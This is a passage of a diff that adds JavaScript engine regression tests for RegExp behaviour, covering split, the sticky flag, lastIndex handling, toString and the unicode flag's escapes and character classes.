+lastIndexExpected = [ 0, 1, 3, 4, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["-\uD83D\uDC38\\udc38\\ud83d"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec," +
+ "set:lastIndex,get:exec,call:exec,");
+
+// Trace unicode, match, same position and different position.
+reset();
+flags = "u";
+expectedFlags = "uy";
+target = "-\uD83D\uDC38\uDC38\uD83D";
+var E = P(["", "X"]);
+execResult = [ E, E, E, E, E, E, E ];
+lastIndexResult = [ , 0, 1, 1, 3, 3, 4, 4 ];
+lastIndexExpected = [ 0, 1, 1, 3, 3, 4, 4, ];
+ret = RegExp.prototype[Symbol.split].call(myRegExp, target);
+assertEq(arraySetterObserved, false);
+assertEq(JSON.stringify(ret), `["-","X","\uD83D\uDC38","X","\\udc38","X","\\ud83d"]`);
+assertEq(log,
+ "get:constructor," +
+ "get:species," +
+ "get:flags," +
+ "call:constructor," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex," +
+ "get:result[length]," +
+ "get:result[1]," +
+ "set:lastIndex,get:exec,call:exec,get:lastIndex,");
+
+stopObserve();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/split.js b/js/src/tests/non262/RegExp/split.js
new file mode 100644
index 0000000000..d7e28d7919
--- /dev/null
+++ b/js/src/tests/non262/RegExp/split.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 887016;
+var summary = "Implement RegExp.prototype[@@split].";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype[Symbol.split].name, "[Symbol.split]");
+assertEq(RegExp.prototype[Symbol.split].length, 2);
+var desc = Object.getOwnPropertyDescriptor(RegExp.prototype, Symbol.split);
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+
+var re = /b/;
+var v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["a","cA","cABC"]`);
+
+re = /d/;
+v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["abcAbcABC"]`);
+
+re = /b/ig;
+v = re[Symbol.split]("abcAbcABC");
+assertEq(JSON.stringify(v), `["a","cA","cA","C"]`);
+
+re = /b/ig;
+v = re[Symbol.split]("abcAbcABC", 2);
+assertEq(JSON.stringify(v), `["a","cA"]`);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/sticky.js b/js/src/tests/non262/RegExp/sticky.js
new file mode 100644
index 0000000000..13a6debe95
--- /dev/null
+++ b/js/src/tests/non262/RegExp/sticky.js
@@ -0,0 +1,126 @@
+var BUGNUMBER = 773687;
+var summary = 'sticky flag should not break assertion behavior.';
+
+print(BUGNUMBER + ": " + summary);
+
+function test(re, text, expectations) {
+ // Sanity check for test data itself.
+ assertEq(expectations.length, text.length + 1);
+
+ for (var i = 0; i < expectations.length; i++) {
+ var result = expectations[i];
+
+ re.lastIndex = i;
+ var match = re.exec(text);
+ if (result === null) {
+ assertEq(re.lastIndex, 0);
+ assertEq(match, null);
+ } else {
+ assertEq(re.lastIndex, result.lastIndex);
+ assertEq(match !== null, true);
+ assertEq(match.length, result.matches.length);
+ for (var j = 0; j < result.matches.length; j++)
+ assertEq(match[j], result.matches[j]);
+ assertEq(match.index, result.index);
+ }
+ }
+}
+
+// simple text
+test(/bc/y, "abcabd", [
+ null,
+ { lastIndex: 3, matches: ["bc"], index: 1 },
+ null,
+ null,
+ null,
+ null,
+ null,
+]);
+
+// complex pattern
+test(/bc|c|d/y, "abcabd", [
+ null,
+ { lastIndex: 3, matches: ["bc"], index: 1 },
+ { lastIndex: 3, matches: ["c"], index: 2 },
+ null,
+ null,
+ { lastIndex: 6, matches: ["d"], index: 5 },
+ null,
+]);
+
+test(/.*(bc|c|d)/y, "abcabd", [
+ { lastIndex: 6, matches: ["abcabd", "d"], index: 0 },
+ { lastIndex: 6, matches: ["bcabd", "d"], index: 1 },
+ { lastIndex: 6, matches: ["cabd", "d"], index: 2 },
+ { lastIndex: 6, matches: ["abd", "d"], index: 3 },
+ { lastIndex: 6, matches: ["bd", "d"], index: 4 },
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+test(/.*?(bc|c|d)/y, "abcabd", [
+ { lastIndex: 3, matches: ["abc", "bc"], index: 0 },
+ { lastIndex: 3, matches: ["bc", "bc"], index: 1 },
+ { lastIndex: 3, matches: ["c", "c"], index: 2 },
+ { lastIndex: 6, matches: ["abd", "d"], index: 3 },
+ { lastIndex: 6, matches: ["bd", "d"], index: 4 },
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+test(/(bc|.*c|d)/y, "abcabd", [
+ { lastIndex: 3, matches: ["abc", "abc"], index: 0 },
+ { lastIndex: 3, matches: ["bc", "bc"], index: 1 },
+ { lastIndex: 3, matches: ["c", "c"], index: 2 },
+ null,
+ null,
+ { lastIndex: 6, matches: ["d", "d"], index: 5 },
+ null,
+]);
+
+// ^ assertions
+test(/^/y, "abcabc", [
+ { lastIndex: 0, matches: [""], index: 0 },
+ null,
+ null,
+ null,
+ null,
+ null,
+ null,
+]);
+
+test(/^a/my, "abc\nabc", [
+ { lastIndex: 1, matches: ["a"], index: 0 },
+ null,
+ null,
+ null,
+ { lastIndex: 5, matches: ["a"], index: 4 },
+ null,
+ null,
+ null,
+]);
+
+// \b assertions
+test(/\b/y, "abc bc", [
+ { lastIndex: 0, matches: [""], index: 0 },
+ null,
+ null,
+ { lastIndex: 3, matches: [""], index: 3 },
+ { lastIndex: 4, matches: [""], index: 4 },
+ null,
+ { lastIndex: 6, matches: [""], index: 6 },
+]);
+
+// \B assertions
+test(/\B/y, "abc bc", [
+ null,
+ { lastIndex: 1, matches: [""], index: 1 },
+ { lastIndex: 2, matches: [""], index: 2 },
+ null,
+ null,
+ { lastIndex: 5, matches: [""], index: 5 },
+ null,
+]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/test-emptyMatch.js b/js/src/tests/non262/RegExp/test-emptyMatch.js
new file mode 100644
index 0000000000..6103c28d52
--- /dev/null
+++ b/js/src/tests/non262/RegExp/test-emptyMatch.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 1322035;
+var summary = 'RegExp.prototype.test should update lastIndex to correct position even if pattern starts with .*';
+
+print(BUGNUMBER + ": " + summary);
+
+var regExp = /.*x?/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+regExp = /.*x*/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+regExp = /.*()/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+regExp = /.*(x|)/g;
+regExp.test('12345');
+assertEq(regExp.lastIndex, 5);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/test-trailing.js b/js/src/tests/non262/RegExp/test-trailing.js
new file mode 100644
index 0000000000..7cb910ee62
--- /dev/null
+++ b/js/src/tests/non262/RegExp/test-trailing.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1304737;
+var summary = "Trailing .* should not be ignored on matchOnly match.";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(r, lastIndexIsZero) {
+ r.lastIndex = 0;
+ r.test("foo");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : 3);
+
+ r.lastIndex = 0;
+ r.test("foo\nbar");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : 3);
+
+ var input = "foo" + ".bar".repeat(20000);
+ r.lastIndex = 0;
+ r.test(input);
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : input.length);
+
+ r.lastIndex = 0;
+ r.test(input + "\nbaz");
+ assertEq(r.lastIndex, lastIndexIsZero ? 0 : input.length);
+}
+
+test(/f.*/, true);
+test(/f.*/g, false);
+test(/f.*/y, false);
+test(/f.*/gy, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/toString.js b/js/src/tests/non262/RegExp/toString.js
new file mode 100644
index 0000000000..5ffbeed331
--- /dev/null
+++ b/js/src/tests/non262/RegExp/toString.js
@@ -0,0 +1,42 @@
+var BUGNUMBER = 1079919;
+var summary = "Make RegExp.prototype.toString to be a generic function.";
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(RegExp.prototype.toString(), "/(?:)/");
+assertEq(/foo/.toString(), "/foo/");
+assertEq(/foo/i.toString(), "/foo/i");
+assertEq(/foo/gimy.toString(), "/foo/gimy");
+assertEq(/foo/igym.toString(), "/foo/gimy");
+assertEq(/\n\r/.toString(), "/\\n\\r/");
+assertEq(/\u2028\u2029/.toString(), "/\\u2028\\u2029/");
+assertEq(/\//.toString(), "/\\//");
+assertEq(RegExp().toString(), "/(?:)/");
+assertEq(RegExp("", "gimy").toString(), "/(?:)/gimy");
+assertEq(RegExp("\n\r").toString(), "/\\n\\r/");
+assertEq(RegExp("\u2028\u2029").toString(), "/\\u2028\\u2029/");
+assertEq(RegExp("/").toString(), "/\\//");
+
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(), TypeError);
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(1), TypeError);
+assertThrowsInstanceOf(() => RegExp.prototype.toString.call(""), TypeError);
+assertEq(RegExp.prototype.toString.call({}), "/undefined/undefined");
+assertEq(RegExp.prototype.toString.call({ source:"foo", flags:"bar" }), "/foo/bar");
+
+var a = [];
+var p = new Proxy({}, {
+ get(that, name) {
+ a.push(name);
+ return {
+ toString() {
+ a.push(name + "-tostring");
+ return name;
+ }
+ };
+ }
+});
+assertEq(RegExp.prototype.toString.call(p), "/source/flags");
+assertEq(a.join(","), "source,source-tostring,flags,flags-tostring");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-back-reference.js b/js/src/tests/non262/RegExp/unicode-back-reference.js
new file mode 100644
index 0000000000..2a65432a1d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-back-reference.js
@@ -0,0 +1,39 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- back reference should not match lead surrogate that has corresponding trail surrogate.";
+
+print(BUGNUMBER + ": " + summary);
+
+// The last character of back reference is not a surrogate.
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA\uDC00"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA\uD834"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarAA"),
+ ["fooAbarA", "A"]);
+assertEqArray(/foo(.+)bar\1/u.exec("fooAbarA"),
+ ["fooAbarA", "A"]);
+
+// The last character of back reference is a lead surrogate.
+assertEq(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834\uDC00"), null);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834\uD834"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834A"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uD834bar\uD834"),
+ ["foo\uD834bar\uD834", "\uD834"]);
+
+// The last character of back reference is a trail surrogate.
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00\uDC00"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00\uD834"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00A"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+assertEqArray(/foo(.+)bar\1/u.exec("foo\uDC00bar\uDC00"),
+ ["foo\uDC00bar\uDC00", "\uDC00"]);
+
+// Pattern should not match to surrogate pair partially.
+assertEq(/^(.+)\1$/u.exec("\uDC00foobar\uD834\uDC00foobar\uD834"), null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-braced.js b/js/src/tests/non262/RegExp/unicode-braced.js
new file mode 100644
index 0000000000..97df7acabf
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-braced.js
@@ -0,0 +1,166 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- braced pattern in RegExpUnicodeEscapeSequence.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/\u{41}/u.exec("ABC"),
+ ["A"]);
+assertEqArray(/\u{41}/.exec("ABC" + "u".repeat(41)),
+ ["u".repeat(41)]);
+
+assertEqArray(/\u{4A}/u.exec("JKL"),
+ ["J"]);
+assertEqArray(/\u{4A}/.exec("JKLu{4A}"),
+ ["u{4A}"]);
+
+assertEqArray(/\u{1F438}/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}/.exec("u{1F438}"),
+ ["u{1F438}"]);
+
+assertEqArray(/\u{0}/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/\u{10FFFF}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+assertEqArray(/\u{10ffff}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// leading 0
+assertEqArray(/\u{0000000000000000000000}/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/\u{000000000000000010FFFF}/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\u{0}", "u").exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(new RegExp("\\u{41}", "u").exec("ABC"),
+ ["A"]);
+assertEqArray(new RegExp("\\u{1F438}", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\u{10FFFF}", "u").exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+assertEqArray(new RegExp("\\u{0000000000000000}", "u").exec("\u{0}"),
+ ["\u{0}"]);
+
+assertEqArray(eval(`/\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}/u`).exec("\u{1234}"),
+ ["\u{1234}"]);
+assertEqArray(new RegExp(`\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}`, "u").exec("\u{1234}"),
+ ["\u{1234}"]);
+
+// ==== ? ====
+
+assertEqArray(/\u{1F438}?/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}?/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\u{1F438}?/u.exec("\uD83D"),
+ [""]);
+
+// RegExp constructor
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec(""),
+ [""]);
+assertEqArray(new RegExp("\\u{1F438}?", "u").exec("\uD83D"),
+ [""]);
+
+// ==== + ====
+
+assertEqArray(/\u{1F438}+/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}+/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEq(/\u{1F438}+/u.exec(""),
+ null);
+
+// lead-only target
+assertEq(/\u{1F438}+/u.exec("\uD83D"),
+ null);
+assertEqArray(/\u{1F438}+/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// ==== * ====
+
+assertEqArray(/\u{1F438}*/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/\u{1F438}*/u.exec("\u{1F438}\u{1F438}"),
+ ["\u{1F438}\u{1F438}"]);
+assertEqArray(/\u{1F438}*/u.exec(""),
+ [""]);
+
+// lead-only target
+assertEqArray(/\u{1F438}*/u.exec("\uD83D"),
+ [""]);
+assertEqArray(/\u{1F438}*/u.exec("\uD83D\uDC38\uDC38"),
+ ["\uD83D\uDC38"]);
+
+// ==== lead-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\u{D83D}/u.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+assertEq(/\u{D83D}/u.exec("\uD83D\uDC00"),
+ null);
+assertEq(/\u{D83D}/u.exec("\uD83D\uDFFF"),
+ null);
+assertEqArray(/\u{D83D}/u.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+// match before non-tail char
+assertEqArray(/\u{D83D}/u.exec("\uD83D"),
+ ["\uD83D"]);
+assertEqArray(/\u{D83D}/u.exec("\uD83DA"),
+ ["\uD83D"]);
+
+// ==== trail-only ====
+
+// match only non-surrogate pair
+assertEqArray(/\u{DC38}/u.exec("\uD7FF\uDC38"),
+ ["\uDC38"]);
+assertEq(/\u{DC38}/u.exec("\uD800\uDC38"),
+ null);
+assertEq(/\u{DC38}/u.exec("\uDBFF\uDC38"),
+ null);
+assertEqArray(/\u{DC38}/u.exec("\uDC00\uDC38"),
+ ["\uDC38"]);
+
+// match after non-lead char
+assertEqArray(/\u{DC38}/u.exec("\uDC38"),
+ ["\uDC38"]);
+assertEqArray(/\u{DC38}/u.exec("A\uDC38"),
+ ["\uDC38"]);
+
+// ==== wrong patterns ====
+
+assertThrowsInstanceOf(() => eval(`/\\u{-1}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{0.0}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{G}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{110000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{00110000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{100000000000000000000000000000}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{ FFFF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FFFF }/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{FF FF}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{F F F F}/u`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`/\\u{100000001}/u`), SyntaxError);
+
+// surrogate pair with braced
+assertEq(/\u{D83D}\u{DC38}+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+assertEq(/\uD83D\u{DC38}+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+assertEq(/\u{D83D}\uDC38+/u.exec("\uD83D\uDC38\uDC38"),
+ null);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-character-class-escape.js b/js/src/tests/non262/RegExp/unicode-character-class-escape.js
new file mode 100644
index 0000000000..175207d5ae
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-character-class-escape.js
@@ -0,0 +1,75 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- CharacterClassEscape.";
+
+print(BUGNUMBER + ": " + summary);
+
+// BMP
+
+assertEqArray(/\d+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["0123456789"]);
+assertEqArray(/\D+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ"]);
+
+assertEqArray(/\s+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF"]);
+assertEqArray(/\S+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+
+assertEqArray(/\w+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+assertEqArray(/\W+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF*"]);
+
+assertEqArray(/\n+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\n"]);
+
+assertEqArray(/[\d]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["0123456789"]);
+assertEqArray(/[\D]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ"]);
+
+assertEqArray(/[\s]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF"]);
+assertEqArray(/[\S]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+
+assertEqArray(/[\w]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["abcxyzABCXYZ0123456789_"]);
+assertEqArray(/[\W]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\t\r\n\v\x0c\xa0\uFEFF*"]);
+
+assertEqArray(/[\n]+/u.exec("abcxyzABCXYZ0123456789_\t\r\n\v\x0c\xa0\uFEFF*"),
+ ["\n"]);
+
+// non-BMP
+
+function testNonBMP(re) {
+ assertEqArray(re.exec("\uD83D\uDBFF"),
+ ["\uD83D"]);
+ assertEqArray(re.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+ assertEqArray(re.exec("\uD83D\uDFFF"),
+ ["\uD83D\uDFFF"]);
+ assertEqArray(re.exec("\uD83D\uE000"),
+ ["\uD83D"]);
+
+ assertEqArray(re.exec("\uD7FF\uDC38"),
+ ["\uD7FF"]);
+ assertEqArray(re.exec("\uD800\uDC38"),
+ ["\uD800\uDC38"]);
+ assertEqArray(re.exec("\uDBFF\uDC38"),
+ ["\uDBFF\uDC38"]);
+ assertEqArray(re.exec("\uDC00\uDC38"),
+ ["\uDC00"]);
+}
+
+testNonBMP(/\D/u);
+testNonBMP(/\S/u);
+testNonBMP(/\W/u);
+
+testNonBMP(/[\D]/u);
+testNonBMP(/[\S]/u);
+testNonBMP(/[\W]/u);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/unicode-class-braced.js b/js/src/tests/non262/RegExp/unicode-class-braced.js
new file mode 100644
index 0000000000..4b59540129
--- /dev/null
+++ b/js/src/tests/non262/RegExp/unicode-class-braced.js
@@ -0,0 +1,236 @@
+var BUGNUMBER = 1135377;
+var summary = "Implement RegExp unicode flag -- braced pattern in RegExpUnicodeEscapeSequence in CharacterClass.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== standalone ====
+
+assertEqArray(/[\u{41}]/u.exec("ABC"),
+ ["A"]);
+
+assertEqArray(/[\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEq(/[\u{1F438}]/u.exec("\uD83D"),
+ null);
+assertEq(/[\u{1F438}]/u.exec("\uDC38"),
+ null);
+
+assertEqArray(/[\u{0}]/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/[\u{10FFFF}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+assertEqArray(/[\u{10ffff}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// leading 0
+assertEqArray(/[\u{0000000000000000000000}]/u.exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(/[\u{000000000000000010FFFF}]/u.exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+// RegExp constructor
+assertEqArray(new RegExp("[\\u{0}]", "u").exec("\u{0}"),
+ ["\u{0}"]);
+assertEqArray(new RegExp("[\\u{41}]", "u").exec("ABC"),
+ ["A"]);
+assertEqArray(new RegExp("[\\u{1F438}]", "u").exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(new RegExp("[\\u{10FFFF}]", "u").exec("\u{10FFFF}"),
+ ["\u{10FFFF}"]);
+
+assertEqArray(new RegExp("[\\u{0000000000000000}]", "u").exec("\u{0}"),
+ ["\u{0}"]);
+
+assertEqArray(eval(`/[\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}]/u`).exec("\u{1234}"),
+ ["\u{1234}"]);
+assertEqArray(new RegExp(`[\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}]`, "u").exec("\u{1234}"),
+ ["\u{1234}"]);
+
+// ==== BMP + non-BMP ====
+
+assertEqArray(/[A\u{1F438}]/u.exec("A\u{1F438}"),
+ ["A"]);
+assertEqArray(/[A\u{1F438}]/u.exec("\u{1F438}A"),
+ ["\u{1F438}"]);
+
+// lead-only target
+assertEqArray(/[A\u{1F438}]/u.exec("\uD83DA"),
+ ["A"]);
+assertEq(/[A\u{1F438}]/u.exec("\uD83D"),
+ null);
+
+// +
+assertEqArray(/[A\u{1F438}]+/u.exec("\u{1F438}A\u{1F438}A"),
+ ["\u{1F438}A\u{1F438}A"]);
+
+// trail surrogate + lead surrogate
+assertEqArray(/[A\u{1F438}]+/u.exec("\uD83D\uDC38A\uDC38\uD83DA"),
+ ["\uD83D\uDC38A"]);
+
+// ==== non-BMP + non-BMP ====
+
+assertEqArray(/[\u{1F418}\u{1F438}]/u.exec("\u{1F418}\u{1F438}"),
+ ["\u{1F418}"]);
+
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\u{1F418}\u{1F438}"),
+ ["\u{1F418}\u{1F438}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\u{1F418}\uDC38\uD83D"),
+ ["\u{1F418}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\uD83D\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\u{1F438}\uD83D"),
+ ["\u{1F438}"]);
+
+// trail surrogate + lead surrogate
+assertEq(/[\u{1F418}\u{1F438}]+/u.exec("\uDC18\uDC38\uD83D\uD83D"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead == to_lead) ====
+
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F418}"),
+ ["\u{1F418}"]);
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F427}"),
+ ["\u{1F427}"]);
+
+assertEq(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F417}"),
+ null);
+assertEq(/[\u{1F418}-\u{1F438}]/u.exec("\u{1F439}"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead + 1 == to_lead) ====
+
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDD7C"),
+ ["\uD83C\uDD7C"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\u{1F438}"),
+ ["\u{1F438}"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDF99"),
+ ["\uD83C\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uDD7B"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83C\uE000"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDB99"),
+ null);
+assertEq(/[\u{1F17C}-\u{1F438}]/u.exec("\uD83D\uDC39"),
+ null);
+
+// ==== non-BMP + non-BMP range (from_lead + 2 == to_lead) ====
+
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDD7C"),
+ ["\uD83C\uDD7C"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC29"),
+ ["\uD83E\uDC29"]);
+
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDF99"),
+ ["\uD83C\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDC00"),
+ ["\uD83D\uDC00"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83D\uDF99"),
+ ["\uD83D\uDF99"]);
+assertEqArray(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83E\uDC00"),
+ ["\uD83E\uDC00"]);
+
+assertEq(/[\u{1F17C}-\u{1F829}]/u.exec("\uD83C\uDD7B"),
+ null);
